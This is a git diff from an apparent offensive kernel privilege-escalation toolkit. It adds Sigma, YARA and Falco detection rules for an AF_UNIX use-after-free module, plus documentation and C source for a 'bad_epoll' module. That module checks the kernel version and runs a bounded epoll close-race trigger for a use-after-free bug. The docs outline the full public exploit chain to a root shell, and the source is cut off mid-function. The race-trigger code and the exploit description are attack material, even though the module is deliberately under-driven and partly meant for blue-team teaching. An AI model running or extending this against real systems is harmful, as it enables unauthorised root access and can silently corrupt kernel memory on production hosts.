fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -157,7 +164,7 @@ static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] af_unix_gc: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[!] af_unix_gc: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] af_unix_gc: bug is reachable as PLAIN UNPRIVILEGED USER\n"
|
||||
" (no userns / no CAP_* required — AF_UNIX is universally\n"
|
||||
" creatable). The race window is microseconds wide and\n"
|
||||
@@ -549,7 +556,8 @@ static skeletonkey_result_t af_unix_gc_exploit_linux(const struct skeletonkey_ct
|
||||
fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -825,6 +833,56 @@ static const char af_unix_gc_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-afunixgc-sendmsg\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-afunixgc-spray\n";
|
||||
|
||||
static const char af_unix_gc_sigma[] =
|
||||
"title: Possible CVE-2023-4622 AF_UNIX GC UAF race\n"
|
||||
"id: c45d7eb3-skeletonkey-af-unix-gc\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects tight-loop socketpair(AF_UNIX) + sendmsg with SCM_RIGHTS\n"
|
||||
" + msgsnd grooming pattern characteristic of the AF_UNIX garbage\n"
|
||||
" collector race. False positives: legitimate IPC apps use\n"
|
||||
" SCM_RIGHTS, but the high-frequency close-and-recreate cycle is\n"
|
||||
" unusual outside fuzzing / exploit harnesses.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" sp: {type: 'SYSCALL', syscall: 'socketpair', a0: 1}\n"
|
||||
" scm: {type: 'SYSCALL', syscall: 'sendmsg'}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: sp and scm and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.4622]\n";
|
||||
|
||||
static const char af_unix_gc_yara[] =
|
||||
"rule af_unix_gc_cve_2023_4622 : cve_2023_4622 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-4622\"\n"
|
||||
" description = \"AF_UNIX GC race kmalloc-512 spray tag or log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEYU\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-af_unix_gc.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char af_unix_gc_falco[] =
|
||||
"- rule: SCM_RIGHTS cycling on AF_UNIX with msg_msg groom\n"
|
||||
" desc: |\n"
|
||||
" Tight socketpair(AF_UNIX) + sendmsg(SCM_RIGHTS) + msgsnd\n"
|
||||
" pattern characteristic of the AF_UNIX garbage collector\n"
|
||||
" race (CVE-2023-4622). False positives: IPC libraries use\n"
|
||||
" SCM_RIGHTS legitimately but rarely with the close-and-\n"
|
||||
" recreate cycle at this frequency.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_UNIX and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" SCM_RIGHTS sendmsg on AF_UNIX by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [ipc, mitre_privilege_escalation, T1068, cve.2023.4622]\n";
|
||||
|
||||
const struct skeletonkey_module af_unix_gc_module = {
|
||||
.name = "af_unix_gc",
|
||||
.cve = "CVE-2023-4622",
|
||||
@@ -836,9 +894,11 @@ const struct skeletonkey_module af_unix_gc_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = af_unix_gc_cleanup,
|
||||
.detect_auditd = af_unix_gc_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = af_unix_gc_sigma,
|
||||
.detect_yara = af_unix_gc_yara,
|
||||
.detect_falco = af_unix_gc_falco,
|
||||
.opsec_notes = "Two-threaded race: Thread A creates socketpair(AF_UNIX) with SCM_RIGHTS cycle then close; Thread B drives independent SCM_RIGHTS traffic on a held pair. ~5s budget (30s with --full-chain). msg_msg kmalloc-512 spray tagged 'SKELETONKEYU'. Writes /tmp/skeletonkey-af_unix_gc.log with empirical stats. Audit-visible via socketpair(AF_UNIX) + sendmsg(SCM_RIGHTS) + msgsnd triple. Dmesg may show UAF KASAN if kernel vulnerable. Cleanup callback unlinks the log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_af_unix_gc(void)
|
||||
|
||||
@@ -0,0 +1,106 @@
|
||||
# bad_epoll — CVE-2026-46242
|
||||
|
||||
"Bad Epoll" — a race-condition use-after-free in the Linux kernel epoll
|
||||
subsystem (`fs/eventpoll.c`) reachable by **any unprivileged local user**.
|
||||
No user namespace, no capability, no special `CONFIG` — `epoll_create1(2)`,
|
||||
`epoll_ctl(2)`, and `close(2)` are available to everyone, which is what
|
||||
makes this bug unusually dangerous.
|
||||
|
||||
## The bug
|
||||
|
||||
On the file-teardown path, `ep_remove()` clears `file->f_ep` under
|
||||
`file->f_lock` but keeps **using** the file inside the same critical
|
||||
section — the `hlist_del_rcu()` walk over the eventpoll's `refs` list and
|
||||
the trailing `spin_unlock()`. A concurrent `__fput()` of a linked epoll
|
||||
file can observe the transient `NULL` `f_ep`, skip
|
||||
`eventpoll_release_file()`, and jump straight to `f_op->release`, freeing
|
||||
a `struct eventpoll` that the first path is still walking →
|
||||
**use-after-free** on a live kernel object.
|
||||
|
||||
The public exploit (Jaeyoung Chung, submitted to Google's kernelCTF)
|
||||
arranges four epoll objects in two pairs — one pair drives the race, the
|
||||
other is the victim — and converts the 8-byte UAF write into control of a
|
||||
`struct file` via a **cross-cache** attack (the freed `eventpoll` slab
|
||||
page is drained to the buddy allocator and reclaimed as pipe backing
|
||||
buffers). From there it reads arbitrary kernel memory through
|
||||
`/proc/self/fdinfo` and ROPs to a root shell. Roughly **99% reliable**
|
||||
despite a race window only ~6 instructions wide; the racer widens it with
|
||||
`close(dup())` storms that induce false-sharing on the file's `f_count`
|
||||
cache line. It **rarely trips KASAN**, which is why the bug survived three
|
||||
years and why it is hard to detect at runtime.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Vulnerable path introduced | commit `58c9b016e128` — Linux **6.4** (2023-04-08) |
|
||||
| Fixed upstream | commit `a6dc643c69311677c574a0f17a3f4d66a5f3744b` — merged for **7.1-rc1** (2026-04-24) |
|
||||
| Stable backport | **7.0.13** (Debian forky `7.0.13-1` / sid `7.0.14-1`) |
|
||||
| Still vulnerable at time of writing | trixie **6.12.x** (no backport yet); 6.6 LTS pending |
|
||||
| Not affected | 6.1 and older (predate the bug — Debian: "vulnerable code not present") |
|
||||
| NVD class | CWE-416 (Use After Free) via CWE-362 (race) |
|
||||
| CISA KEV | no (brand new) |
|
||||
|
||||
Table threshold is a single `{7,0,13}` entry — `kernel_range_is_patched()`
|
||||
treats 7.1+ as patched-via-mainline and everything in `[6.4, 7.0.13)` as
|
||||
vulnerable, matching the Debian tracker. Add 6.6.x / 6.12.x rows when
|
||||
those LTS backports land (`tools/refresh-kernel-ranges.py` flags them).
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
`detect()` is a **pure version gate** — no active probe, because there is
|
||||
no cheap, safe way to distinguish a vulnerable kernel from a patched one
|
||||
without actually winning the race (the dangerous part). It returns `OK`
|
||||
below 6.4 or on a patched kernel, and `VULNERABLE` in range. There is **no
|
||||
`PRECOND_FAIL` userns path** the way `nft_catchall` has — epoll needs no
|
||||
namespace, so there is no unprivileged-userns stopgap to report or to
|
||||
harden with.
|
||||
|
||||
`exploit()` forks a CPU-pinned child that builds the epoll race pair (a
|
||||
waiter eventpoll watching a target eventpoll) and exercises the
|
||||
`ep_remove`-vs-`__fput` concurrent-close window a **hard-bounded** number
|
||||
of times (48 attempts / 2 s), widening it with `close(dup())`
|
||||
false-sharing storms, snapshots the `eventpoll`/`kmalloc-192` slab, and
|
||||
returns `EXPLOIT_FAIL`.
|
||||
|
||||
It is **deliberately under-driven**. A *won* race frees a live
|
||||
`struct eventpoll` — genuine kernel memory corruption that rarely trips
|
||||
KASAN, so on a vulnerable production host a completed race can silently
|
||||
destabilise the box rather than cleanly oops. This module therefore does
|
||||
**not** grind the race to a win, does **not** perform the cross-cache
|
||||
reclaim, and does **not** bundle the per-kernel `fdinfo` arbitrary-read +
|
||||
ROP that lands root (per-build offsets refused). The trigger is
|
||||
**reconstructed from the public kernelCTF PoC and is not VM-verified**. It
|
||||
never claims root it did not get.
|
||||
|
||||
Because a kernel race is the least predictable class in the corpus — and
|
||||
this one can corrupt memory invisibly — `bad_epoll` carries the **lowest
|
||||
`--auto` safety rank** (see `module_safety_rank()` in `skeletonkey.c`), so
|
||||
`--auto` only ever reaches for it after every safer vulnerable module.
|
||||
|
||||
## Detection is hard — read this before shipping the rules
|
||||
|
||||
Unlike most modules, `bad_epoll` has **no high-fidelity signature**.
|
||||
`epoll_create1` / `epoll_ctl` / `close` is the steady-state behaviour of
|
||||
nginx, systemd, and every language runtime's event loop; the exploit
|
||||
looks identical and rarely trips KASAN. The shipped auditd/sigma/falco
|
||||
rules therefore key on the **post-exploitation** tell — an unprivileged
|
||||
process transitioning to euid 0 without a setuid `execve` — plus a
|
||||
recommendation to monitor kernel logs for oops/BUG lines. Expect false
|
||||
positives from legitimate privilege-management daemons and tune per
|
||||
environment. There is no yara rule (no file artifact). Treat this module
|
||||
as much as a *blue-team teaching case* — "here is a root LPE your existing
|
||||
stack is nearly blind to" — as an offensive one.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade the kernel (>= 7.0.13, or 7.1+). There is **no partial
|
||||
mitigation**: epoll cannot be disabled in practice, and no
|
||||
`unprivileged_userns_clone` / sysctl toggle closes this path the way it
|
||||
does for the netfilter bugs. `mitigate()` is `NULL` for that reason.
|
||||
|
||||
## Credit
|
||||
|
||||
Discovery, exploitation, and the public kernelCTF PoC:
|
||||
**Jaeyoung Chung** (`J-jaeyoung`). Upstream fix `a6dc643c6931`. See
|
||||
`NOTICE.md`.
|
||||
@@ -0,0 +1,70 @@
|
||||
# NOTICE — bad_epoll (CVE-2026-46242)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-46242** — "Bad Epoll", a **race-condition use-after-free** in
|
||||
the Linux kernel epoll subsystem (`fs/eventpoll.c`). On the file-teardown
|
||||
path, `ep_remove()` clears `file->f_ep` under `file->f_lock` but continues
|
||||
to use the file inside the critical section (`hlist_del_rcu()` over the
|
||||
eventpoll `refs` list + `spin_unlock()`). A concurrent `__fput()` of a
|
||||
linked epoll file observes the transient `NULL` `f_ep`, skips
|
||||
`eventpoll_release_file()`, and proceeds to `f_op->release`, freeing a
|
||||
`struct eventpoll` still in use → UAF.
|
||||
|
||||
The bug is reachable by **any unprivileged local user** — `epoll_create1`,
|
||||
`epoll_ctl`, and `close` require no capability, no user namespace, and no
|
||||
special kernel config. Exploitation converts the 8-byte UAF write into
|
||||
control of a `struct file` via a cross-cache attack, gains arbitrary
|
||||
kernel read through `/proc/self/fdinfo`, and ROPs to a root shell —
|
||||
roughly 99% reliable despite a ~6-instruction race window. It also affects
|
||||
Android. NVD class: **CWE-416** (Use After Free), with a **CWE-362** race
|
||||
root cause. **Not** in CISA KEV (brand new).
|
||||
|
||||
## Research credit
|
||||
|
||||
- **Discovery, exploitation, and public PoC** by **Jaeyoung Chung**
|
||||
(GitHub `J-jaeyoung`), submitted as a zero-day to **Google's kernelCTF**
|
||||
program. Repository: <https://github.com/J-jaeyoung/bad-epoll> and the
|
||||
kernelCTF submission under
|
||||
`J-jaeyoung/security-research` (`CVE-2026-46242_lts_cos`, target
|
||||
`lts-6.12.67`). SKELETONKEY's trigger reconstruction is informed by that
|
||||
public PoC (the epoll object graph and the `ep_remove`-vs-`__fput`
|
||||
close-race shape only — no offsets or ROP are reused).
|
||||
- **Introduced** by commit `58c9b016e128` (Linux 6.4, 2023-04-08).
|
||||
- **Fixed upstream** by commit
|
||||
`a6dc643c69311677c574a0f17a3f4d66a5f3744b`, merged for **7.1-rc1**
|
||||
(2026-04-24); stable backport **7.0.13**.
|
||||
- Debian security tracker (authoritative backport versions):
|
||||
<https://security-tracker.debian.org/tracker/CVE-2026-46242> — forky
|
||||
`7.0.13-1` / sid `7.0.14-1` fixed; trixie 6.12.x still vulnerable at time
|
||||
of writing; bookworm 6.1 and bullseye 5.10 "not affected — vulnerable
|
||||
code not present".
|
||||
|
||||
All credit for finding, analysing, and exploiting this bug belongs to
|
||||
Jaeyoung Chung and to the upstream maintainers who fixed it. SKELETONKEY
|
||||
is the bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟡 **Trigger (reconstructed) — primitive-only, not VM-verified.** This is
|
||||
the corpus's first epoll / VFS-file-teardown module and its cleanest
|
||||
example of an SMP kernel race, shipped on the same "fire the bug class and
|
||||
stop" contract as `stackrot` (CVE-2023-3269) and `nft_catchall`
|
||||
(CVE-2026-23111).
|
||||
|
||||
`detect()` is a pure kernel-version gate (vulnerable iff `>= 6.4` and below
|
||||
the fix on-branch; stable backport 7.0.13, 7.1+ inherits; 6.1/5.10 not
|
||||
affected) — no userns or CONFIG precondition, because none is required.
|
||||
`exploit()` forks a CPU-pinned child that builds the epoll race pair and
|
||||
exercises the `ep_remove`-vs-`__fput` concurrent-close window a
|
||||
hard-bounded number of times (48 attempts / 2 s), widening it with
|
||||
`close(dup())` false-sharing storms, snapshots the eventpoll slab, and
|
||||
returns `EXPLOIT_FAIL`.
|
||||
|
||||
It is **deliberately under-driven**: a won race frees a live
|
||||
`struct eventpoll` (real corruption that rarely trips KASAN), so the module
|
||||
does not grind the race to a win, does not perform the cross-cache reclaim,
|
||||
and does not bundle the `/proc/self/fdinfo` arbitrary-read + ROP root-pop
|
||||
(per-build offsets refused). The trigger is reconstructed from the public
|
||||
kernelCTF PoC, not VM-verified — it never claims root it did not get. It
|
||||
carries the lowest `--auto` safety rank in the corpus.
|
||||
@@ -0,0 +1,434 @@
|
||||
/*
|
||||
* bad_epoll_cve_2026_46242 — SKELETONKEY module
|
||||
*
|
||||
* CVE-2026-46242 — "Bad Epoll", a race-condition use-after-free in the
|
||||
* Linux kernel epoll subsystem (fs/eventpoll.c). On the file-teardown
|
||||
* path, ep_remove() clears file->f_ep under file->f_lock but keeps
|
||||
* *using* the file inside the critical section (the hlist_del_rcu() over
|
||||
* the eventpoll's refs list + spin_unlock). A concurrent __fput() of a
|
||||
* linked epoll file can observe the transient NULL f_ep, skip
|
||||
* eventpoll_release_file(), and go straight to f_op->release — freeing a
|
||||
* struct eventpoll that the first path is still walking. The result is a
|
||||
* UAF on a live kernel object reachable by ANY unprivileged local user:
|
||||
* epoll_create1(2) / epoll_ctl(2) / close(2) need no capability, no user
|
||||
* namespace, and no special CONFIG (epoll is always built in). That is
|
||||
* what makes it nasty — there is no unprivileged-userns stopgap to close
|
||||
* the way there is for the netfilter bugs; the only fix is to patch.
|
||||
*
|
||||
* Public exploit (Jaeyoung Chung / J-jaeyoung, "bad-epoll"), submitted
|
||||
* to Google's kernelCTF: four epoll objects in two pairs — one pair
|
||||
* drives the race, the other is the victim — turn the 8-byte UAF write
|
||||
* into control of a struct file via a cross-cache attack, then arbitrary
|
||||
* kernel read via /proc/self/fdinfo and a ROP chain to a root shell.
|
||||
* ~99% reliable despite a race window only ~6 instructions wide; it
|
||||
* rarely trips KASAN, which is precisely why the bug hid for three
|
||||
* years.
|
||||
*
|
||||
* CWE-416 (Use After Free) via CWE-362 (race). Introduced by commit
|
||||
* 58c9b016e128 (Linux 6.4, 2023-04-08); fixed by commit
|
||||
* a6dc643c69311677c574a0f17a3f4d66a5f3744b (merged for 7.1-rc1,
|
||||
* 2026-04-24), stable backport 7.0.13. NOT in CISA KEV (brand new).
|
||||
*
|
||||
* STATUS: 🟡 TRIGGER (reconstructed) — primitive-only, NOT VM-verified.
|
||||
* This is a genuine SMP kernel race that, if *won*, frees a live
|
||||
* struct eventpoll — real memory corruption that (per the public
|
||||
* analysis) rarely trips KASAN, so a won-but-not-completed race can
|
||||
* silently destabilise a vulnerable host rather than cleanly oops.
|
||||
* For that reason this module is deliberately UNDER-DRIVEN: exploit()
|
||||
* builds the epoll object graph and exercises the concurrent-close
|
||||
* window (ep_remove vs __fput) a small, bounded number of times inside
|
||||
* a fork-isolated child, snapshots the eventpoll slab, and STOPS. It
|
||||
* does NOT grind the race to a win, does NOT perform the cross-cache
|
||||
* reclaim, and does NOT bundle the per-kernel fdinfo arbitrary-read +
|
||||
* ROP that lands root (per-build offsets refused). It returns
|
||||
* EXPLOIT_FAIL and never claims root it did not get. The trigger is
|
||||
* reconstructed from the public kernelCTF PoC, not VM-verified. This
|
||||
* is why it carries the lowest safety rank in --auto (a kernel race is
|
||||
* the least predictable class; see skeletonkey.c module_safety_rank).
|
||||
*
|
||||
* detect() is a pure version gate: vulnerable iff the running kernel is
|
||||
* >= 6.4 (the commit that introduced the bug) AND below the fix on its
|
||||
* branch (Debian: bookworm/6.1 and bullseye/5.10 are "not affected —
|
||||
* vulnerable code not present"; trixie/6.12 still vulnerable at time of
|
||||
* writing; forky/sid fixed at 7.0.13/7.0.14). No userns / CONFIG
|
||||
* precondition — any unprivileged user can reach it.
|
||||
*
|
||||
* Affected range (Debian security tracker, source of record):
|
||||
* introduced 6.4 (58c9b016e128); mainline fix in 7.1-rc1
|
||||
* (a6dc643c6931); stable backport 7.0.13. 6.6/6.12 LTS backports had
|
||||
* not landed at time of writing → version-only VULNERABLE there
|
||||
* (tools/refresh-kernel-ranges.py will extend the table as distros
|
||||
* publish). 6.1 and older predate the bug.
|
||||
*
|
||||
* arch_support: x86_64 (the cross-cache groom + any future finisher are
|
||||
* x86_64-tuned; detect() and the reachability trigger are arch-neutral
|
||||
* but we only claim x86_64 for exploit()).
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdatomic.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <time.h>
|
||||
#include <sched.h>
|
||||
#include <pthread.h>
|
||||
#include <signal.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/epoll.h>
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Kernel-range table. The fix landed mainline in 7.1-rc1
|
||||
* (a6dc643c6931); the only stable backport that had shipped at time of
|
||||
* writing is 7.0.13 (Debian forky 7.0.13-1 / sid 7.0.14-1). A single
|
||||
* {7,0,13} entry plus the ">= 6.4 introduced" gate below is sufficient:
|
||||
* kernel_range_is_patched() treats any branch strictly newer than every
|
||||
* entry (i.e. 7.1+) as patched-via-mainline, and every branch at or
|
||||
* below 7.0 with no exact entry (6.4..6.12, 7.0.<13) as still
|
||||
* vulnerable — which is exactly the Debian tracker's verdict. Add
|
||||
* 6.6.x / 6.12.x entries here when those LTS backports land (the drift
|
||||
* checker flags them). security-tracker.debian.org is the source.
|
||||
* ------------------------------------------------------------------ */
|
||||
static const struct kernel_patched_from bad_epoll_patched_branches[] = {
|
||||
{7, 0, 13}, /* 7.0.x (Debian forky 7.0.13-1 / sid 7.0.14-1); 7.1+ inherits */
|
||||
};
|
||||
|
||||
static const struct kernel_range bad_epoll_range = {
|
||||
.patched_from = bad_epoll_patched_branches,
|
||||
.n_patched_from = sizeof(bad_epoll_patched_branches) /
|
||||
sizeof(bad_epoll_patched_branches[0]),
|
||||
};
|
||||
|
||||
static skeletonkey_result_t bad_epoll_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] bad_epoll: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* The vulnerable ep_remove()/__fput() interleaving was introduced by
|
||||
* commit 58c9b016e128 in 6.4. Below that the code pattern is absent
|
||||
* (Debian marks bookworm/6.1 and bullseye/5.10 "not affected —
|
||||
* vulnerable code not present"). */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 6, 4, 0)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] bad_epoll: kernel %s predates the vulnerable "
|
||||
"epoll teardown path (introduced 6.4) — not affected\n",
|
||||
v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (kernel_range_is_patched(&bad_epoll_range, v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] bad_epoll: kernel %s is patched (>= 7.0.13 / "
|
||||
"7.1+ inherits the mainline fix)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] bad_epoll: VULNERABLE — kernel %s in range "
|
||||
"[6.4, fix); epoll teardown race reachable by any "
|
||||
"unprivileged user (no userns / CONFIG gate)\n",
|
||||
v->release);
|
||||
fprintf(stderr, "[i] bad_epoll: no unprivileged-userns stopgap applies "
|
||||
"here — the only fix is to patch the kernel\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Reconstructed reachability trigger (deliberately under-driven).
|
||||
*
|
||||
* Faithful minimal shape of the public PoC's race pair: a "waiter"
|
||||
* epoll watches a "target" epoll; the two are then closed concurrently
|
||||
* from CPU-pinned contexts so ep_remove() (driven by fput of the
|
||||
* watched target) races __fput() of the waiter eventpoll. The PoC
|
||||
* widens the ~6-instruction window with close(dup(target)) storms that
|
||||
* induce false-sharing on the file's f_count cache line and stall the
|
||||
* racer's read of f_op.
|
||||
*
|
||||
* We reproduce the OBJECT GRAPH and the CONCURRENT-CLOSE WINDOW with a
|
||||
* small iteration + wall-clock budget, then stop. We do NOT reclaim the
|
||||
* freed slab, do NOT run the depth-3 nesting oracle that only fires
|
||||
* after a real UAF write, and do NOT weaponise. The honest witness is
|
||||
* therefore coarse: a signal in the isolated child (a KASAN oops or
|
||||
* corruption fault, if the race happened to fire) and an eventpoll-slab
|
||||
* delta. Absence of a witness does NOT prove the host is safe.
|
||||
* ------------------------------------------------------------------ */
|
||||
#define BEP_RACE_ITERS 48 /* bounded — reachability probe, not a winner */
|
||||
#define BEP_DUP_CLOSE_ITERS 32 /* window-widening false-sharing storm */
|
||||
#define BEP_RACE_BUDGET_SECS 2 /* honest short cap (public PoC uses 5 min) */
|
||||
|
||||
static void bep_pin_cpu(int cpu)
|
||||
{
|
||||
cpu_set_t set;
|
||||
CPU_ZERO(&set);
|
||||
CPU_SET(cpu, &set);
|
||||
(void)sched_setaffinity(0, sizeof set, &set); /* best-effort */
|
||||
}
|
||||
|
||||
struct bep_racer {
|
||||
int waiter_fd; /* fd the racer closes */
|
||||
atomic_int *go; /* fire signal from main */
|
||||
atomic_int *closed; /* set once the racer has closed */
|
||||
};
|
||||
|
||||
static void *bep_racer_fn(void *arg)
|
||||
{
|
||||
struct bep_racer *r = (struct bep_racer *)arg;
|
||||
bep_pin_cpu(0);
|
||||
/* Spin until main is at the close point, then race. */
|
||||
while (atomic_load_explicit(r->go, memory_order_acquire) == 0)
|
||||
;
|
||||
close(r->waiter_fd);
|
||||
atomic_store_explicit(r->closed, 1, memory_order_release);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static long bep_slabinfo_active(const char *slab)
|
||||
{
|
||||
FILE *f = fopen("/proc/slabinfo", "r");
|
||||
if (!f) return -1;
|
||||
char line[512];
|
||||
long active = -1;
|
||||
size_t n = strlen(slab);
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, slab, n) == 0 && line[n] == ' ') {
|
||||
long a;
|
||||
if (sscanf(line + n, " %ld", &a) == 1) active = a;
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
return active;
|
||||
}
|
||||
|
||||
/* One race attempt: build (target, waiter) with waiter watching target,
|
||||
* then close both concurrently. Returns 0 normally; the interesting
|
||||
* outcome (a won race) manifests as a signal that the parent observes,
|
||||
* not a return value. */
|
||||
static void bep_one_attempt(void)
|
||||
{
|
||||
int target = epoll_create1(EPOLL_CLOEXEC);
|
||||
if (target < 0) return;
|
||||
int waiter = epoll_create1(EPOLL_CLOEXEC);
|
||||
if (waiter < 0) { close(target); return; }
|
||||
|
||||
/* waiter watches target — this is the link that makes closing target
|
||||
* drive eventpoll_release_file()/ep_remove() over waiter's eventpoll. */
|
||||
struct epoll_event ev = { .events = EPOLLIN };
|
||||
ev.data.fd = target;
|
||||
if (epoll_ctl(waiter, EPOLL_CTL_ADD, target, &ev) < 0) {
|
||||
close(waiter); close(target); return;
|
||||
}
|
||||
|
||||
atomic_int go = 0, closed = 0;
|
||||
struct bep_racer ra = { .waiter_fd = waiter, .go = &go, .closed = &closed };
|
||||
pthread_t th;
|
||||
if (pthread_create(&th, NULL, bep_racer_fn, &ra) != 0) {
|
||||
close(waiter); close(target); return;
|
||||
}
|
||||
|
||||
/* Widen the window: false-sharing storm on target's f_count line,
|
||||
* then release the racer and close target ourselves so ep_remove
|
||||
* (our fput of the watched file) overlaps __fput of the waiter. */
|
||||
for (int i = 0; i < BEP_DUP_CLOSE_ITERS; i++) {
|
||||
int d = dup(target);
|
||||
if (d >= 0) close(d);
|
||||
}
|
||||
atomic_store_explicit(&go, 1, memory_order_release);
|
||||
close(target);
|
||||
|
||||
pthread_join(th, NULL);
|
||||
}
|
||||
|
||||
static skeletonkey_result_t bad_epoll_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
skeletonkey_result_t pre = bad_epoll_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] bad_epoll: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] bad_epoll: already running as root\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] bad_epoll: reconstructed reachability probe — builds "
|
||||
"the epoll race pair and exercises the ep_remove vs __fput "
|
||||
"close window (%d bounded attempts, %ds cap), then stops. "
|
||||
"The cross-cache → struct file control → fdinfo arb-read → "
|
||||
"ROP root-pop is NOT bundled.\n",
|
||||
BEP_RACE_ITERS, BEP_RACE_BUDGET_SECS);
|
||||
|
||||
/* Fork-isolated: a won race frees a live struct eventpoll. On a
|
||||
* KASAN kernel that oopses (contained to the child); on a plain
|
||||
* vulnerable kernel it may corrupt — which is exactly why we bound
|
||||
* the attempt count hard and never reclaim. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
bep_pin_cpu(1);
|
||||
long before = bep_slabinfo_active("eventpoll");
|
||||
if (before < 0) before = bep_slabinfo_active("kmalloc-192");
|
||||
|
||||
time_t deadline = time(NULL) + BEP_RACE_BUDGET_SECS;
|
||||
int done = 0;
|
||||
for (int i = 0; i < BEP_RACE_ITERS && time(NULL) < deadline; i++) {
|
||||
bep_one_attempt();
|
||||
done = i + 1;
|
||||
}
|
||||
|
||||
long after = bep_slabinfo_active("eventpoll");
|
||||
if (after < 0) after = bep_slabinfo_active("kmalloc-192");
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] bad_epoll: %d close-race attempts fired; "
|
||||
"eventpoll/kmalloc-192 active: %ld → %ld\n",
|
||||
done, before, after);
|
||||
_exit(100); /* honest: window exercised, race not driven to a win */
|
||||
}
|
||||
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
if (WIFSIGNALED(status)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] bad_epoll: child died by signal %d — the epoll "
|
||||
"teardown race may have fired (KASAN oops / corruption "
|
||||
"fault). This is the bug, but no root was obtained.\n",
|
||||
WTERMSIG(status));
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (WIFEXITED(status) && WEXITSTATUS(status) == 100) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] bad_epoll: race window exercised (reconstructed "
|
||||
"primitive). Full chain is NOT bundled and the trigger "
|
